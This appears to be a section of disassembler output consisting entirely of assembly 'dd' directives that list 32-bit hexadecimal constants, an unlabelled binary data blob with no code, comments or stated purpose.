		dd 7AEE7D82h, 0AA393A6Eh, 88E8CC80h, 9889AF09h,	600111FCh
		dd 0B51DB615h, 2424DD05h, 0F48D0CDEh, 2119080h,	18408E04h
		dd 2C803923h, 80DBE414h, 2600DEE7h, 654ECAE9h, 31C9DA3h
		dd 6AAC07FCh, 0C5A0ED1Bh, 1F00CDD0h, 9B0F38ABh,	2E089D2h
		dd 6B48D4EBh, 6415D78h,	6798CBBDh, 66006321h, 128095B2h
		dd 1F3AC85h, 628481Ah, 0E43AFE40h, 7D506D46h, 85002795h
		dd 0ABBA3B4Dh, 142452h,	135070A0h, 0BDFE90D7h, 0F3A5AE00h
		dd 0E883734Eh, 0EDF51C28h, 0E6A4002Fh, 1B9057D4h, 2D46D500h
		dd 0BA2699F8h, 4A3100ACh, 7B8307CAh, 5DF88D80h,	8644FF04h
		dd 90C0F620h, 0A3892805h, 1B30C8ECh, 256F00ACh,	8B4D6CDDh
		dd 77000CE1h, 2EC09D1Ch, 488C38h, 92C3E42Fh, 1D72697Bh
		dd 5C8B5B0Ah, 3A18F287h, 0FF02122h, 119EED41h, 0A5F80017h
		dd 972C75B4h, 0B934D13Dh, 62C284D3h, 80800FC9h,	0F1C5968h
		dd 54BD04CAh, 0DDF8F200h, 320783FDh, 74AD3EE4h,	0E7B524C0h
		dd 0BAD3002Bh, 4DC939FBh, 0CC000767h, 3EFEEF28h, 501F0FF3h
		dd 306AD2B1h, 776123FDh, 8001CD2h, 0AC6CA865h, 781EA69Fh
		dd 63C5001Dh, 0C4F84FADh, 83009944h, 1EFBA89h, 0F2DE3A19h
		dd 957900FCh, 0A7591DA8h, 4F0754ABh, 0B12344DCh, 0C29EAED0h
		dd 45C7006Dh, 1AB2701Dh, 0E9000255h, 73CD6BD9h,	1F17690h
		dd 41DFE1A8h, 0CC5AFCB7h, 0BD001EBBh, 55B3E658h, 795BBC60h
		dd 0CADB00E7h, 59E4837Fh, 1000F8E0h, 9AF455A5h,	47E15Fh
		dd 0EE994C2Fh, 0A86ACED8h, 89FBA000h, 0E15C11E6h, 0A3BB00D9h
		dd 54FEA77Ah, 7006F48h,	14D0CC75h, 4A10A4h, 0F63B238Eh
		dd 98AE9F35h, 8B485C00h, 0BD0C9DCCh, 6CB60068h,	2FCA3499h
		dd 5002081h, 77627627h,	18B2CE4h, 70E2B09Bh, 615341CCh
		dd 0B74AF4D4h, 1D2B5F00h, 920A49A9h, 11970071h,	0ABD6FE32h
		dd 6800D17Ch, 43360441h, 56729Ah, 0C4B0165Fh, 9CB59074h
		dd 0C035F200h, 0AC7901B4h, 7BBD0073h, 37C392B0h, 823E2B80h
		dd 5800CCF0h, 2C3B0089h, 8821B614h, 9E3F808h, 56D0AB22h
		dd 0F89E3E00h, 0F50E4AF6h, 0A3935A33h, 99273BA0h, 3FC42659h
		dd 1CAB0073h, 0DC4BFD6Eh
		dd 61002F05h, 63DF8EF1h, 3A769Ch, 2101A5FAh, 0A1431CBh
		dd 5B952300h, 0E9B98FDBh, 69940087h, 1520B4BCh,	0A93FCDF8h
		dd 0B5C68082h, 13CAE2B9h, 22373FE3h, 3A7012ACh,	6FBC280h
		dd 0D5BCEFBEh, 5264BD00h, 41A9136Fh, 0B298F4h, 84E81674h
		dd 0CAC540D4h, 9D47FF07h, 6950FAA9h, 391F14Ch, 7FDF6A14h
		dd 0B7808E2Fh, 0C400CBF6h, 0FB478B62h, 739622h,	9365E736h
		dd 0BB04A168h, 0E53938h, 88BF74C6h, 1DA4B664h, 6D3B5F7h
		dd 61916BDCh, 0E35DEE1Fh, 5E14D780h, 0F79C0934h, 89F4F0h
		dd 5DCF853Dh, 0F0DF8A98h, 87F731C0h, 0EA10A7A4h, 14AF0057h
		dd 0E9C495B1h, 0E1CAD80h, 0E583060Fh, 0EB0309h,	0DF885D20h
		dd 9B497BA4h, 207AC5F2h, 47890500h, 0C80AF0D7h,	0CB77B1h
		dd 0C2783714h, 9869C1DEh, 0F1212E1Bh, 803F8A78h, 9B68E018h
		dd 38FC5Eh, 0F8B39AE9h,	0A2E89420h, 4B756B00h, 0ECBFE0CDh
		dd 637000D5h, 17260F3Ah, 270F648Ch, 80BDDDB7h, 554CCBE0h
		dd 7E7C0032h, 0B316DCB5h, 67173BC1h, 810E1B92h,	2B8B20AFh
		dd 9CA817h, 46C3F662h, 809AE1Ah, 287BE700h, 1C680469h
		dd 0CBBC005Dh, 18FF4F9Fh, 0CD002711h, 139CAFD7h, 425C55h
		dd 0DF8B780Bh, 1589811Ch, 4F3093Eh, 64A85FD4h, 0E30B0AC0h
		dd 14F2037Ch, 34F923ACh, 37C88188h, 9CFFD407h, 10C0AA99h
		dd 39211A0h, 3A3CD538h,	0B2D0E836h, 0C61FCA8Dh,	830081ADh
		dd 9D71DF37h, 2F9500B9h, 0DC87EF0Ah, 4BF0B846h,	10E07530h
		dd 0AECF383h, 8BC49DD3h, 20C980B0h, 130F8201h, 92577F0Eh
		dd 3B8EFD80h, 2FE4051h,	0E8F09BCBh, 7E97403h, 0B39823ECh
		dd 5C2D013Fh, 0C8002E6Bh, 556F38DDh, 0C67100EBh, 0D9F635B4h
		dd 0AD0FE5D6h, 8043CE44h, 0DE073C67h, 8925006Bh, 0E293FEB7h
		dd 1D78B910h, 0B66D4A01h, 41A5454Fh, 8000F321h,	17B76946h
		dd 5D814CC9h, 0F1364750h, 33D680B4h, 0F85C401Dh, 0BAA307D5h
		dd 0C4E18923h, 0D4D98CA0h, 0AC6420h, 57DDC9AFh,	0ECDECF97h
		dd 71089665h, 8C698000h, 91C8E5h, 6562CEFBh, 1058CB8Bh
		dd 9CA0A2F8h, 0DD73E3C7h, 50C44B3Ch, 9900A9BCh,	22FD4CC1h
		dd 0C1A2FC0h, 9D68FF6Ch, 700FD7A1h, 61D63329h, 23ABD360h
		dd 288D44F4h, 3C0F01Ah,	3BADC42Ah, 30006AC7h, 0B429BA10h
		dd 77185FEAh, 84566C9h,	0BD035112h, 3A9F9148h, 0A6D5900Ah
		dd 0B9C2015Ah, 0C4F64BB5h, 0A7D7D875h, 1340B0C0h, 1D590Eh
		dd 82912225h, 973739CAh, 16810500h, 0A99F421h, 0AA580049h
		dd 34F52BADh, 0F0039D9h, 0EDFD4553h, 1F6FC7h, 0EECF24C2h
		dd 0A9587626h, 518A8E00h, 28A217C8h, 57F90002h,	3A67AEDBh
		dd 600758Dh, 17692B4Bh,	1E611A35h, 0C0AC0D8Ch, 9BB2A32Ah
		dd 94013829h, 7CDBC78Fh, 0D2D04724h, 0D96900F9h, 1F2CDD0Ah
		dd 0F401F11Ah, 24967CCBh, 10CD5691h, 63F01761h,	1A850081h
		dd 5DDD768Ch, 0C007F3B2h, 7CE67AE1h, 0D1641B0h,	98B3998h
		dd 0A5DAEB80h, 1E541B97h, 0E18F6E0Ch, 8378DCh, 0EFFE475h
		dd 65E546ABh, 7806200Fh, 80C26091h, 18C433EDh, 80905D0Fh
		dd 6C00F686h, 918BB617h, 655504h, 7729C2CDh, 0D9B1584Ch
		dd 5E883C1Dh, 0B0B057DBh, 18A5462h, 7D820B7Fh, 0D4ADBD3Ah
		dd 0F3074F40h, 675DACA7h, 51DF3471h, 0E20B0C7h,	26E979B7h
		dd 4D13DCh, 210BBF80h, 0D10375AAh, 88DDC533h, 0CBEC1C1Eh
		dd 0C22E1E0Ah, 6002D0AFh, 7D3C9240h, 4DF8B260h,	14BF98h
		dd 55819EDBh, 1E650C85h, 0AE18820Eh, 6B6E7CDh, 0AB0F5D3h
		dd 80629729h, 5F998390h, 6862E73Ch, 80828518h, 1610E384h
		dd 30471840h, 797C39B7h, 88EDA700h, 4A26C063h, 0E42C0054h
		dd 0CE3058A3h, 0E9002447h, 0E68DF619h, 77AE4478h, 5A7775h
		dd 4D65BEB7h, 2400BABh,	0BB0A8D3Dh, 949F80C9h, 1BC50F35h
		dd 0B4F864h, 2F2ED4Ah, 0E69742F4h, 5D7CF00Eh, 1D81C04Fh
		dd 0F5D511h, 784BF766h,	2419B3E3h, 72573B00h, 4E128D67h
		dd 0CC7103A2h, 48EEA4D6h, 0FE007174h, 0C79DF067h, 7555407h
		dd 0D7A7156Dh, 75B44019h, 68000F6Bh, 4D422CE2h,	5EC3F9h
		dd 0ACB17870h, 64FF587Ah, 468FC600h, 0AED5B0ECh, 126100EEh
		dd 0B4BF5962h, 6410737Fh, 711D5A65h, 0FA9FFEC4h, 0E01A4006h
		dd 0C8FB1FFh, 0AE67EB00h, 1896BFDh, 0D99A00FBh,	0F5FF7E5Bh
		dd 4C266069h, 270075D6h, 8063DD73h, 618D606Ch, 0DFC9D12h
		dd 5300E67Ch, 0F085A1EAh, 3D996F4h, 0D1147361h,	0FF913D05h
		dd 330EF07Eh, 0CDACD703h, 184F54C4h, 20321B08h,	0C500A293h
		dd 0E41879DEh, 277398Bh, 1E7B261Fh, 0F8E058C0h,	5600F4C1h
		dd 94A2263h, 16FF048Bh,	0DF93DEh, 205A7506h, 0B5632CD4h
		dd 1B6608h, 0CA679A20h,	99988C92h, 0E4FA3800h, 59F1427Dh
		dd 0F51E003Ch, 324C1B71h, 401CC5Bh, 0DE890A8Ah,	0C9E9E533h
		dd 0F8CE6A20h, 96B51D76h, 3A92003Eh, 0BFA43320h, 0E0E12300h
		dd 996EE20Ch, 7148007Dh, 37EDCF2Eh, 0FE3C131Fh,	4336F8F1h
		dd 0DE58E8F5h, 0B7036368h, 44985A23h, 0C12E3460h, 23FC4521h
		dd 0B168F44Bh, 0CF0DB414h, 67CA08B0h, 0EAA4004h, 9C210C8Dh
		dd 215698CCh, 0F5E210EDh, 57467500h, 7A78D448h,	0A49A5427h
		dd 591A00ABh, 0BCC97137h, 0BA00678Ah, 452F0AC5h, 139686Dh
		dd 0E341C2B6h, 51FD1625h, 0C6579C4h, 7EC8088Eh,	2971526Ah
		dd 38F45E8h, 0C5DAF6A1h, 0E11D30C4h, 0D6C09B25h, 0BC58131Bh
		dd 0A1F00C6h, 8AFA673Fh, 8007632h, 0CD73CAF0h, 82A0A6h
		dd 123104Fh, 499DAB29h,	0A2C08D1Fh, 0F1D989h, 11765E74h
		dd 3DE608h, 4D95CAC8h, 0C0E95F6Bh, 4B2C0EB8h, 0EA005010h
		dd 0F3F41318h, 0A6310088h, 0DC58044Fh, 353BF561h, 0D02F00E3h
		dd 9481D980h, 560C0025h, 0C669F6EDh, 0D4EA1691h, 294DF403h
		dd 0E0E1E5B2h, 22EE86h,	844A6C68h, 0AC472615h, 0E2F96600h
		dd 9A3EA6BFh, 2A6F00BCh, 29BD30B9h, 160092DBh, 9D11F999h
		dd 75A96CE5h, 12FC3Fh, 1F1BAFECh, 3C5479F7h, 81209100h
		dd 5A47438Fh, 82500D3Bh, 8310FA12h, 51EBEE08h, 0D87FC3F8h
		dd 7FB2CB7h, 9BEA1E18h,	0BDB320E5h, 0ED006981h,	1C8F9AE8h
		dd 0C4DFD943h, 0E9BA29h, 16149538h, 8D1B001Ah, 94DB8A67h
		dd 0A830F146h, 1DB1AE27h, 145E0904h, 0FE8080A5h, 63C35C56h
		dd 61E89A0Fh, 78E180BAh, 7539A9h, 494EA773h, 0DB112767h
		dd 8C1C9FF0h, 2C00AE51h, 306C1332h, 2D01052Eh, 87E1B4C9h
		dd 0D3CAEDh, 6B1BBB64h,	9C00D584h, 355EBA6Fh, 4E82B3h
		dd 0FE861998h, 840746B2h, 9AB8491Eh, 0B2B5827h,	0B7813AAAh
		dd 80D79784h, 2B317B3h,	702FC301h, 0D23D7DDDh, 1D097170h
		dd 0B860BFh, 0C394644Eh, 181C3976h, 9983E120h, 90D85080h
		dd 1D49674h, 45303CFCh,	0E442EC3Ah, 6FB88766h, 0A100DEE6h
		dd 0A5B4A6CCh, 0E65B4E29h, 76A200C4h, 228E726Bh, 8600C1FFh
		dd 7C4CEBD3h, 0F251CA85h, 20A300DEh, 6FEFE1DCh,	5C161D24h
		dd 0A2002355h, 76832F5h, 88FC3D05h, 0C5D9D680h,	433CCE0Fh
		dd 0A9655F00h, 0EC73EB6Ch, 8A7889h, 0FD31061Fh,	0D2E854A3h
		dd 4A3B8F07h, 0EBC03787h, 0E8E500Ch, 0F72253D9h, 3D5C33C0h
		dd 4800740Dh, 0DABCCFD0h, 81D598h, 0B4C3EAA6h, 42A488F1h
		dd 6E7A3Dh, 0D9D4F769h,	0F58571h, 3F0CC758h, 4B37C37Ch
		dd 57499300h, 2DB07F07h, 9D2612F2h, 0EBE843h, 0E242FC4Fh
		dd 0E6036Ch, 68DB0984h
		dd 0BF77F4A8h, 1DF00F00h, 11C9BBF5h, 9BE03F6Eh,	7FB80B00h
		dd 0CBE4714h, 1E226A00h, 84498B71h, 0DAD90732h,	40EC3F9Ch
		dd 3E075601h, 74E78307h, 9700DF4Ch, 301C46DBh, 0CFF00593h
		dd 0C21E2C24h, 0EC01BC1h, 0AA318096h, 0DAF70065h, 883EDCFCh
		dd 0CD484407h, 64700028h, 0A4868DC4h, 0D95C0FBAh, 0A385730Ch
		dd 70DEC05Eh, 78C5C5E9h, 0F780DCC7h, 7439E08h, 6C574BE3h
		dd 4F1CC019h, 151D58E9h, 3514635Ah, 0CB0C0184h,	4AB37AF4h
		dd 95ED9840h, 288A0022h, 0A5FF401Eh, 48E265A6h,	0B50FC701h
		dd 55EE23D5h, 2924F0h, 14475427h, 5E5695E8h, 5E1558h, 0ECA6F1DFh
		dd 20380Eh, 0A2290C91h,	37A8938Eh, 5C36D73Dh, 0C1C700E2h
		dd 1BA3F9CBh, 196A00E8h, 0D70AEFB8h, 46002242h,	7224FA84h
		dd 0AD2387h, 660CD629h,	19F414B5h, 6FD04100h, 0F3E4A45Ah
		dd 0C1AC1ECEh, 0DAAA4CB1h, 0AF007510h, 0CC4FE2EAh, 12D1C5h
		dd 0AEEEA374h, 0C0399FA9h, 47FEF977h, 18620800h, 4B722230h
		dd 94C100D2h, 0BAC77FE5h, 670E190Fh, 80AD1CEDh,	0F729F6D1h
		dd 462100B5h, 2B1C776h,	0B7002796h, 3E9E727Bh, 0A0EF58B4h
		dd 0EA2288h, 73AEC73Bh,	48F58817h, 9147A900h, 86AA1278h
		dd 404EEB1h, 0C4603FD8h, 0C3B580F3h, 5FE88ADEh,	0E7E657F4h
		dd 85FE4600h, 0C272594Ah, 29F50024h, 48305D50h,	0D700B590h
		dd 125F8A8Eh, 71EEFC3h,	0C4D59CFCh, 0FEA02EE2h,	4F21646Fh
		dd 5C5EE724h, 4C415C00h, 0CA27A5Bh, 0C4430291h,	0A07306B0h
		dd 9837E31Eh, 89FBEB40h, 732F2C7Fh, 400A00D6h, 70ABC9FEh
		dd 0F73F588Dh, 5E3B9D7Dh, 47ECFC87h, 0ACC19930h, 0C6950081h
		dd 71128465h, 7B000EFBh, 150FD4B3h, 0F9193Fh, 4540FC52h
		dd 5B1BF847h, 8043AD00h, 323A942h, 8FE039CFh, 91B4240Fh
		dd 0CD12C5DFh, 6500BF39h, 897DB827h, 655123Bh, 413400A9h
		dd 8F605298h, 0C8C4BA00h, 73A58C7Ah, 72B700CCh,	47957BDh
		dd 5B00BF10h, 17322686h, 7B854BC9h, 0C79D00ABh,	0F7102CEh
		dd 0CF4C04Fh, 0B68E441Dh, 359E80F9h, 0D894FEA7h, 7754005Eh
		dd 38D863Ah, 3200145Ah,	4F5BCF61h, 0B5C8D1h, 66413FB8h
		dd 4A6FB239h, 38AA28C1h, 0AF7084ABh, 9882h, 10F564A3h
		dd 0FFADEE25h, 3CF28707h, 53414DC2h, 5E45AE1h, 1B520001h
		dd 865E2309h, 290F0E20h, 2078C63Dh, 27C076Eh, 0FC2E4825h
		dd 8A9EF601h, 0C077921Ah, 0F10051B6h, 4C354D0Eh, 5D1B115h
		dd 81F4E8A2h, 9E048033h, 0A60092E2h, 0C6236510h, 3ACAB8h
		dd 9F71EA37h, 40ABD558h, 80E40D3Ch, 0DE9AF3A2h,	7B41892h
		dd 0CB8141A7h, 0B6A07F4Fh, 0D04E90DDh, 9CD48E01h, 0E33F9F15h
		dd 72E807F3h, 403EC6CFh, 982A39A8h, 0B433A903h,	800375DEh
		dd 0BD79789Ch, 0D239E878h, 0F1820090h, 5ED71463h, 6240077Bh
		dd 0F0F69A69h, 2A9B39D6h, 77003498h, 0C7541443h, 504D30Bh
		dd 4DA618B1h, 0D5A28041h, 6F00ADDDh, 75D10AF5h,	90B6F37Bh
		dd 99E903F0h, 0D6D77AD2h, 0D100A078h, 0B46D0E6Fh, 48611E66h
		dd 100DC91h, 72234F8Bh,	68071396h, 0B85C63C9h, 460E2C40h
		dd 0E0A303F8h, 5486479Ah, 80913BF1h, 4938201Ch,	1CDB2779h
		dd 981EB6h, 0B8C9669h, 6C0053E4h, 0EBE2F2Dh, 0A94FEDh
		dd 0F5FF13Ch, 0AE31FC72h, 0C20C800h, 7B54611Fh,	0A1DECBFh
		dd 0D4B5D037h, 1797B9A8h, 5600035Fh, 44A80583h,	0D20084FBh
		dd 29A0AB02h, 955930h, 0F7FC234Dh, 5F2AE575h, 0B505EA00h
		dd 42C4EF98h, 0F2B00008h, 8B1A9A49h, 181F859Dh,	0B9DCFEC6h
		dd 71B5B780h, 0E2C139h,	4A9B8D26h, 5126A82h, 89C43D00h
		dd 65F7C33Ch, 0D4F50752h, 20D6AA84h, 552794A9h,	0F6AFA8C0h
		dd 1EC45E1h, 0FAC0D22Bh, 809FB3BFh, 9C9221B8h, 0B3BCBAEh
		dd 201F7B34h, 44F70480h, 0F207A087h, 6DF7C59h, 404067D2h
		dd 0B5E3CCh, 6B60B601h,	0CA1CB8C0h, 4DC4EB0Eh, 0A87C607Ah
		dd 0CB05547h, 9CCBBF0Fh, 4B000668h, 75EDA0D3h, 2ACFFF2h
		dd 0AE574D65h, 99C01CE1h, 0D5E4B024h, 28FC4417h, 0C0F1FC0Eh
		dd 9FAE21DEh, 0FD7D0E7Eh, 9565CF54h, 0DAFC039h,	0E800426Ah
		dd 0BC5BDA85h, 6DFD07Eh, 1C3648E4h, 221F78F1h, 26BDC833h
		dd 9E00ACADh, 8103CC4Ch, 880A054Ah, 90371042h, 8B3DF338h
		dd 0F0023B0h, 54E20D81h, 15D759h, 2F07ED1Dh, 0FE236BC8h
		dd 89DB400h, 6C228A4Dh,	6C13582Ah, 9BD9BB00h, 0B19151D4h
		dd 0EA772800h, 0C26761C6h, 0BB990042h, 93F0FD9Ch, 703CE929h
		dd 0C3C880AFh, 9981DDCBh, 6E02005Dh, 64E3D50Ch,	7D1CD6D1h
		dd 0C69898C5h, 0B15D40h, 0D83D6266h, 0F1A16EBDh, 4360B500h
		dd 0AD8B7C0Dh, 4793189Ch, 0A699C0F2h, 600BD200h, 3F0D5464h
		dd 0EE79006Fh, 158B3A38h, 0A872272Fh, 62B1B38h,	0E559351h
		dd 3DDD0038h, 0CB957BBEh, 0E61F3233h, 64E8D41Ch, 9A80D2F7h
		dd 35BA0B15h, 0A95EE303h, 0F42FA4h, 3EDE01C9h, 5872ABD2h
		dd 0AD5E8D00h, 2A74F583h, 0C9312ED8h, 0ED5C002Ah, 62C2560Fh
		dd 0A819A00Ch, 39541F5h, 0AF807012h, 7EE0229Ch,	11005733h
		dd 0A2A30894h, 6C25FCCh, 0D57F797Ch, 9C00F00Bh,	0EC42E169h
		dd 67E2E6h, 7F8F6BDEh, 0B70622F3h, 97A71200h, 0F91E7CBAh
		dd 57310081h, 45F28E84h, 8F00F5FFh, 0BEA41925h,	34FCD0Bh
		dd 6C7F183Ch, 0DCA958FDh, 0BF85D41Bh, 1482D300h, 0C987B7A5h
		dd 4FFC0EB5h, 0C765B9E0h, 65203834h, 80F60321h,	1ED73B4Dh
		dd 8D00A2D9h, 5C4728ABh, 0FD0373h, 0BCF6A4B9h, 0CC8F1729h
		dd 49690E30h, 401E82F0h, 4803B4E4h, 0B1979092h,	0D9E2C08Fh
		dd 2F81004Eh, 0D58EA94Dh, 0E7007514h, 8F37451Ch, 3A35015Eh
		dd 0CD009125h, 849B5C53h, 0E00FD02h, 3B7C4D32h,	1F9EB356h
		dd 0FE071F7h, 962C4Fh, 3E752AC1h, 0A4A49222h, 0BEE28818h
		dd 14E85F78h, 0A87A3119h, 983C4B1Fh, 97CCB010h,	854EF600h
		dd 0B5010F16h, 31B8C1AAh, 470EDB39h, 837D4292h,	8038E5E2h
		dd 1811C9FFh, 6AB0887Bh, 7B0F3F8Ch, 0E18F0F01h,	5DB1DEBh
		dd 542DF9DCh, 0B3F0F2h,	8C426F26h, 5FCA406Ch, 0CF00D4FCh
		dd 7F781CA7h, 59710D0h,	62C9C78Fh, 44A000BCh, 0B92C43A3h
		dd 84A220F5h, 7D374604h, 0FC80D1B8h, 0A6A636Fh,	0F8F0A47Bh
		dd 0FD6C5920h, 30430DD6h, 9947E032h, 8ECA0026h,	0F44F0A1Ch
		dd 0D0A8C727h, 71739C74h, 0C403F0E5h, 950D661Fh, 5F582505h
		dd 1AC7DC1Dh, 0E8B15712h, 0C5FCBF71h, 24ECE8FCh, 1C3519EFh
		dd 8B0B407Ah, 0DE08E250h, 4D00D07Dh, 0CD0C1F16h, 7F1C56B8h
		dd 0D5CE00D7h, 0C087B552h, 0C900E93Ah, 65E7EF68h, 33D2167h
		dd 0D5CC388Dh, 0B8CBECB5h, 16F2800Fh, 40DC2170h, 48BEE6E3h
		dd 10192000h, 7BD1A186h, 0EF622C1Fh, 9A64CCC0h,	676989h
		dd 0E57CA98Eh, 27B07D34h, 7BA7DF00h, 0C41A5D57h, 217FC2Dh
		dd 713C05E4h, 0A881FAE3h, 50C33A5Eh, 35655F8Ch,	0A9C98803h
		dd 0B845F170h, 127A9089h, 40D8D49Fh, 0C85B7544h, 41000926h
		dd 623892DAh, 6B0A666h,	130ECADFh, 340051C4h, 5627AC0Fh
		dd 21DD6h, 94144148h, 31369EF9h, 2EE0700Eh, 21F16F62h
		dd 591C4B50h, 9B8EC20h,	6E2AB401h, 90003C0Fh, 0CB7CAC7Eh
		dd 62A86500h, 0AFB152C4h, 6B57611h, 0E02C84F3h,	100A087h
		dd 5E0BD9C5h, 0BFEA765h, 0C67B8BB5h, 0D89F4A80h, 0A200E5B3h
		dd 5D39FBCAh, 7881E67h,	5E9A5808h, 7A3A00ABh, 72007C86h
		dd 0BCE13F7Bh
		dd 592675h, 0FC107463h,	3D8E602h, 803E643Eh, 70F6ACB1h
		dd 0D11571h, 8A5A86EAh,	0DE6DC463h, 16D02F00h, 0C152D9DAh
		dd 64FC00A2h, 661AFF31h, 0FE008148h, 2A72AEE1h,	4F2386h
		dd 0AF0F298h, 495A43A0h, 7A00CF7Dh, 46785D3Eh, 7BC1FE0h
		dd 0B53A9BCCh, 58B05073h, 0AC00ED8Ah, 6D4087C1h, 4E71A6h
		dd 5B64E586h, 66D967B9h, 749C1600h, 84034CE4h, 62E700D6h
		dd 79B2F1DFh, 7603EFE0h, 38C6DA0Ah, 8942A018h, 0E25E3F83h
		dd 92E3D483h, 47E8340Dh, 0E0038A67h, 0F92AAC98h, 17380196h
		dd 31B612B8h, 4CEDF897h, 0BEBA1100h, 5C76A795h,	0F53B002Ch
		dd 75B12117h, 201E510Ah, 0A6001EE9h, 0CA2C2FA0h, 7E5E3B02h
		dd 0B00A1600h, 671957C4h, 3A6080FFh, 4F3ED974h,	1D1BE865h
		dd 22DB97E9h, 14A80A00h, 7D39499Eh, 0DDB800C9h,	50E06BEAh
		dd 0AF07D8EEh, 0DA772A60h, 0E9D1F6h, 2939AE06h,	61797AF5h
		dd 7BEC2F1Dh, 66218618h, 0EC3A4FC6h, 0B4D100E8h, 0F787AF52h
		dd 60850F7Bh, 17E0CF1Dh, 69AB7710h, 48A6DB03h, 0E1144D31h
		dd 16E0DA0Bh, 0CD1D03FBh, 0D602F85Eh, 0D0C95BA9h, 0DD00F485h
		dd 1B881FA6h, 0ECFA5h, 0EB5E0414h, 576BB868h, 0BBB56006h
		dd 60C8C4AAh, 0CB7630F3h, 0B800EEE9h, 5B2D6048h, 16A8D39h
		dd 1D6556Bh, 80C40DBDh,	654EA28h, 0E8B3A7ADh, 9290323Ah
		dd 0A8A02808h, 5BF6749Bh, 83D4AF0Eh, 690017BCh,	0B1396BE1h
		dd 0F9A3193Bh, 0E02F5955h, 757FD39Bh, 33A0EA00h, 7D6885A9h
		dd 46BF00FDh, 596FFB1h,	99019C12h, 451FE71Dh, 3F600EC7h
		dd 49FD2C82h, 0A7E2010Ch, 0E8F99173h, 76138F7Bh, 0EA06EA98h
		dd 56118A3Ah, 0E2C004A5h, 0A6CE9BE0h, 8B96C500h, 6BDD157Eh
		dd 38800013h, 2FA288D6h, 6F00054Ch, 0C1648EF8h,	0D939FEh
		dd 0B8C57953h, 899430A1h, 5D9A4300h, 20F7D035h,	4A04001Eh
		dd 0C3A00626h, 0B5004562h, 0D321143Ch, 0E1DE429h, 0CF9DCC6h
		dd 2B94E00h, 85EE9940h,	3D7C70E6h, 78992C5Ch, 0FC47D900h
		dd 2B2AA203h, 0BB10000Bh, 7A87AB2Fh, 1E0707BDh,	4D1734ACh
		dd 0EF71AA20h, 16F6003Bh, 4C21459Eh, 860037EDh,	9833CF96h
		dd 56CC42h, 0F0C4C24Ah,	91246AA8h, 6B4F7000h, 1A2F3F7Eh
		dd 0B439006h, 57FBDAB3h, 0EE85F087h, 3C249980h,	1B009294h
		dd 602181EFh, 12BCB16h,	380C4769h, 0FCACA66Bh, 0BB505A4Dh
		dd 2003FBB0h, 4EAA143Fh, 0C1B3E8DDh, 0D30300DEh, 16410753h
		dd 1EFEA619h, 0A3AEFF00h, 0C011CF4Ch, 0D5060232h, 7116C87Ch
		dd 0F2A7D880h, 0F0008493h, 69E4A38Eh, 8B3440h, 788F836Dh
		dd 2518D70Bh, 7B019CA8h, 0CBA5800h, 0C7174099h,	0DE72DCh
		dd 6B04A1Ch, 92B98C5Dh,	5782D900h, 4F5826C4h, 0AE9D010Fh
		dd 0F7144244h, 9E3E853h, 1D16CE00h, 0D4C560B7h,	846200D7h
		dd 4AFDEB4h, 0E2002FBDh, 56C7E9Bh, 0B687CFh, 1DAC33B8h
		dd 511CBEF7h, 12F3000h,	0D5A10D90h, 5F1B15A6h, 791C9093h
		dd 5533C005h, 0BC466FEAh, 0EBE87300h, 6A2AB977h, 0FA080E42h
		dd 8D40A7C3h, 34B280AFh, 22BC5100h, 0E947DC0Bh,	0DF4F0062h
		dd 0BDC905B4h, 70007A3Eh, 43FA9025h, 131BA5BEh,	929DB37h
		dd 758031CEh, 0F0186B2Fh, 2AA6CF05h, 9447BB8Ch,	24305698h
		dd 7344879Fh, 600E0080h, 2E8FCF51h, 2600BAC0h, 0D27A1246h
		dd 1E3C44D3h, 401C4A0Fh, 58A990BBh, 7B3915F6h, 43DE1C7Ah
		dd 6F13C140h, 3B9811Ch,	9EBA05C7h, 17B88B97h, 0AC006A92h
		dd 99B64360h, 729FB378h, 0A03002Eh, 0FE36E18h, 0A31EFA84h
		dd 76006244h, 784F9D08h, 1CE8797Eh, 852D35A8h, 808697EDh
		dd 9B6B3DECh, 63021F2Ch, 0C2597001h, 0AADC79A4h, 2420F15Ah
		dd 5DF216DDh, 3900BEBBh, 918EB431h, 0BFBC014Ah,	6E49D16h
		dd 6641C2C0h, 55E7C019h, 0F34E3100h, 68A457ABh,	3FE800FDh
		dd 0BDF6F0D7h, 6F0061AAh, 9BFFB5D6h, 132CEAh, 81335770h
		dd 0BB2B3640h, 6E2E0BF2h, 19009CC8h, 0AE5DC14Eh, 12950BD5h
		dd 0A580BC17h, 0ECC401CCh, 55007A70h, 0DD9A5990h, 1EF110h
		dd 0BC67791h, 0BDD42C47h, 5195500h, 168AD02Dh, 28150026h
		dd 7C70C30h, 0BE026046h, 9C9FFFA9h, 142B40CDh, 78E20128h
		dd 135773FCh, 9497026h,	0A6AE6B00h, 7115F522h, 67D4583Ah
		dd 0CC410071h, 5C68ACD5h, 0A400C433h, 0F778C8B7h, 9367135h
		dd 9B4DC081h, 6268C800h, 900E6F2h, 3ACC957Bh, 5FDB73h
		dd 893B8D46h, 0F04ADA06h, 907CA30Eh, 0F21C602Ch, 11E5D6h
		dd 859DE6C4h, 5EC1F46Ah, 0D1B30400h, 0F6E71F1Ch, 71030CB6h
		dd 0FDE0FF29h, 294AB00h, 33C0A559h, 0FC16006Eh,	0B4BE629Dh
		dd 380013B3h, 6697FE77h, 3DD8B02Ah, 0C583D317h,	0C2F5E3A2h
		dd 0BEEEC8B8h, 4DE3Dh, 84A84F0Eh, 186498h, 0F2078A9Ah
		dd 3B0F901Ch, 0B54B7501h, 33B2E086h, 51C482CDh,	11160021h
		dd 801B20D2h, 0AC7B90B0h, 7D3C7300h, 0B8381271h, 5169E875h
		dd 0D0F78102h, 285C60ECh, 842124h, 9458AA5Bh, 0FF38D710h
		dd 993C1700h, 96CFB42Bh, 0E07F68Fh, 1C40CC32h, 0C20669A0h
		dd 817B5D08h, 1400487Fh, 709C59A3h, 0FF2730h, 0E1EDEC6Fh
		dd 3AA93C62h, 0E8432300h, 0A1D5F745h, 0F9D70092h, 7A7D9F32h
		dd 6100EFC1h, 0E34DDA16h, 0ED3DE0Ah, 6C41688Ah,	0A05C2BC3h
		dd 2D7DBCD8h, 3252B900h, 3669D44Dh, 0F6DD00AEh,	45851158h
		dd 0CF002FDBh, 0FFA6EAECh, 0A4E78Ch, 0CE8429E6h, 30EB652Ah
		dd 0E0542400h, 7FDA087Ch, 0C9730086h, 5105B9F6h, 82003F1Dh
		dd 0D64FEC6Ah, 2D0E712h, 70C5BB11h, 58C07194h, 0D9004CE0h
		dd 884FF2A3h, 0B562CBAh, 8709AB7h, 80BE4687h, 3C77A505h
		dd 2164B200h, 0FF407E55h, 0ED490075h, 0E59B36Dh, 0BC002B3Fh
